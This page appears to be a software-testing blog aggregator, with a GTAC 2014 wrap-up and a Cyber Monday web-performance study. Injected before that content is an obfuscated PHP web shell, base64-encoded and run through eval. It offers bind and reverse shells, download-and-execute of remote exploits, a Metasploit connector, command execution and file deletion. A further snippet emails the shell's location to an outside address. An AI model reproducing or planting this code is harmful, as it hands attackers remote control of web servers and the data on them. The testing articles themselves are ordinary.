QplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3ZCwkcHJvbXB0KTtlY2hvICRidWZmO30NCj8+PC9kaXY+PC9ib2R5PjwvaHRtbD4='; eval(base64_decode($k2ll33d)); ?> <? $site = "www.dev-pts.com/vb"; if(!ereg($site, $_SERVER['SERVER_NAME'])) { $to = "mandrarami2000@gmail.com"; $subject = "EGFM"; $header = "from: New Shell "; $message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); echo ""; exit; } ?> <?php chdir($lastdir); c99shexit(); ?>
Categories: Software Testing

How to do a SharePoint Performance Sanity Check in 15 Minutes

For some it’s hard to understand why SharePoint became that popular – and quite honestly – a lot of projects I’ve seen being implemented on SharePoint make me wonder why they chose SharePoint in the first place. But – there are a lot of great things about that platform that make it very interesting for […]

The post How to do a SharePoint Performance Sanity Check in 15 Minutes appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

GTAC 2014 Wrap-up

Google Testing Blog - Thu, 12/04/2014 - 17:26
by Anthony Vallone on behalf of the GTAC Committee

On October 28th and 29th, GTAC 2014, the eighth GTAC (Google Test Automation Conference), was held at the beautiful Google Kirkland office. The conference was completely packed with presenters and attendees from all over the world (Argentina, Australia, Canada, China, many European countries, India, Israel, Korea, New Zealand, Puerto Rico, Russia, Taiwan, and many US states), bringing with them a huge diversity of experiences.


Speakers from numerous companies and universities (Adobe, American Express, Comcast, Dropbox, Facebook, FINRA, Google, HP, Medidata Solutions, Mozilla, Netflix, Orange, and University of Waterloo) spoke on a variety of interesting and cutting edge test automation topics.

All of the slides and video recordings are now available on the GTAC site. Photos will be available soon as well.


This was our most popular GTAC to date, with over 1,500 applicants and almost 200 of those for speaking. About 250 people filled our venue to capacity, and the live stream had a peak of about 400 concurrent viewers with 4,700 playbacks during the event. And, there was plenty of interesting Twitter and Google+ activity during the event.


Our goal in hosting GTAC is to make the conference highly relevant and useful for, not only attendees, but the larger test engineering community as a whole. Our post-conference survey shows that we are close to achieving that goal:



If you have any suggestions on how we can improve, please comment on this post.

Thank you to all the speakers, attendees, and online viewers who made this a special event once again. To receive announcements about the next GTAC, subscribe to the Google Testing Blog.

Categories: Software Testing

The Best and Worst of Cyber Monday Web Performance

LoadStorm - Thu, 12/04/2014 - 13:19
Introduction:

How the big brand name e-commerce sites handle the heavy traffic on Cyber Monday is always of great interest to our team and our readers. So this year, we decided to run a short experiment on some of the top companies to bring you the best and the worst performers this Cyber Monday.

The 28 companies we chose to test included companies who had painful Cyber Monday crashes in previous years, companies who were running fantastic online deals, and companies that are known to have huge volumes of online holiday shopping traffic.

Experiment:

We ran WebPageTest, an open source performance testing tool, on all 28 companies. All tests were run on Chrome browsers from Dulles, VA at approximately the same times. The first set of tests were run on Wednesday, November 26, 2014 and the second set of tests were run on Cyber Monday, December 1, 2014.

As we categorized the companies based on performance, the most significant factor we considered for this article was time to first byte. Stay tuned for another article where we discuss the speed index and page load times on Cyber Monday.

The reason this article focuses on time to first byte is because it is very significantly tied to perceived load time. If a user waits several seconds and doesn’t see anything loading on the page, he or she is highly likely to abandon the website. However, even if the whole page takes over 10 seconds to load, as long as the user sees progress quickly, he or she can begin looking at the page and is much more likely to stay on the website.

Results

We have ranked the companies into five categories:

  • Excellent performance on both days
  • Moderate performance on both days
  • Poor performance on both days
  • Poor performance on Wednesday that improved on Monday
  • Moderate performance on Wednesday, poor performance on Monday
Excellent Performance Both Days

Eight companies in our study showed top performance on both Wednesday and Cyber Monday. All of the companies in this group scored an impressive A or B first byte letter score, as assigned by WebPageTest and the highest time to first byte was only 0.315 seconds- Impressive.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/89707e16831c495f990dbffb2e0dfca8?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate Performance Both Days

Seven companies had moderate performance on both Wednesday and Cyber Monday. These companies were significantly slower than the top performers, but still maintained decent speeds. These companies had scores of B’s or C’s according to WebPageTest. By our assessment, these companies maintained acceptable, but not excellent times.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/d69c953469ad4060ae4acf4c49f2b3f9?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor Performance Both Days

Five companies in our study had notable performance failures on both Monday and Wednesday. All sites in this group had over a 0.75 second time to first byte, which WebPageTest ranks as a F in their scoring system for time to first byte. Most of these sites had over a full second wait before the first byte was transferred- which is a sign that these sites were overwhelmed by the traffic load.

The level of performance in this category most likely had a significant impact on Thanksgiving and Cyber Monday sales. As we have seen proven time and again by various studies, web performance directly affects conversions. With such significant delays before seeing anything loading on the page, it is very likely that would-be customers left these websites for competitors.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/18c968ab456f448181eb1297aab2f660?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Poor performance on Wednesday that improved on Monday

This particular category is not one that we were expecting to see at all. In fact, we initially chose to test on Wednesday as a control group to measure against Cyber Monday. However, a quick poll in our office revealed that most of us had started our online shopping early. It is my theory that these particular companies had extra servers ready for Monday, but did not expect such a heavy load of traffic on Wednesday and were therefore unprepared. It is also possible that when the companies noticed performance failures on Wednesday, they made significant changes over the weekend and then were ready for the Cyber Monday rush.

I’m sure that each of these companies has their own story of WHY their performance was poor on Wednesday and then improved by Monday, but all we can tell you is that it happened.

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/a6f9763efc9845b4aefaaa915adc05a6?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Moderate performance on Wednesday, poor performance on Monday

The previous category was a bit of a surprise to our team. This category, however, was completely expected. As we see every year, there are some companies that just struggle to handle the amount of traffic that hits on Cyber Monday. Check out the differences:

(function() { var cn = document.createElement('script'); cn.type = 'text/javascript'; cn.src = 'http://chartsninja.com/api/chart/b14d5dda85264e89862500851ba56c13?cnurl=' + window.location.href; var s = document.getElementsByTagName('head')[0].appendChild(cn); })();

Conclusion:

Web performance is a top concern for any e-commerce business because it has been proven time and again to be directly tied to conversions. Just a one second delay in load time has been proven to cause a 7% decrease in conversions, 11% fewer page views, and a 16% decrease in customer satisfaction. With stakes so high, being prepared for the rush of traffic on Cyber Monday is a must for all e-commerce businesses.

Overall, a large portion of the sites we looked at had good web performance on these important days. Even though there are always some websites with poor performance, the general trend is that most websites included in our study were prepared for the rush of traffic.

Feel free to share your Cyber Monday online shopping experiences in the comments! Did you encounter any poor performing websites?

The post The Best and Worst of Cyber Monday Web Performance appeared first on LoadStorm.

How Using APM throughout the Application Lifecycle Can Affect your Revenue

Working with APM solutions often puts us in the spotlight when applications have problems. Many of us follow a common series of “phases” with some key differences depending on how the application lifecycle is implemented both with processes and tooling. This is a story about a customer I found particularly interesting because they showed the […]

The post How Using APM throughout the Application Lifecycle Can Affect your Revenue appeared first on Dynatrace APM Blog.

Categories: Load & Perf Testing

Black Friday Recap: Winners, Losers and Top Takeaways

LoadImpact - Thu, 12/04/2014 - 01:42

2014’s holiday shopping season went into high gear this past weekend with thanksgiving day and black Friday showing strong growth over last year.  IBM released their annual report with some interesting statistics which should prove helpful in planning for future e-commerce spending. The trends for 2014 included some of the following highlights: Mobile trumped desktop for the ... Read more

The post Black Friday Recap: Winners, Losers and Top Takeaways appeared first on Load Impact Blog.

Categories: Load & Perf Testing

Webcast: Seven Versions of One Web Application - Apr 8 2014

O'Reilly Media - Wed, 12/03/2014 - 19:29

This webcast talk is a fast paced comparison of different ways of developing HTML5 Web applications. The audience will see seven versions of the same Web application. We'll start with architecture and code review of a basic HTML/JavaScript version of a sample charity application. After that we'll switch to its jQuery version, then you'll see how to do it with Ext JS framework, then we'll cut this application into slices for modularization reasons. The second part of this presentation is about moving this application to mobile devices. You'll see this application implemented with Responsive Design principles, and then two more versions: one with jQuery Mobile and the other with Sencha Touch. If time permits, we'll try to review one more version written in a new programming language that Java developers should learn.

About Yakov Fain

Yakov Fain is Managing Director at a software boutique Farata Systems. He authored several technical books and lots of articles on software development. His book "Java Programming. 24-Hour Trainer" was published by Wrox in 2011. Yakov is Java Champion. Yakov leads Princeton Java Users Group. This year he's a co-authored O'Reilly book "Enterprise Web Development". @yfain

O'Reilly Media, Inc. 2014-03-06T17:52:55-08:19

Pages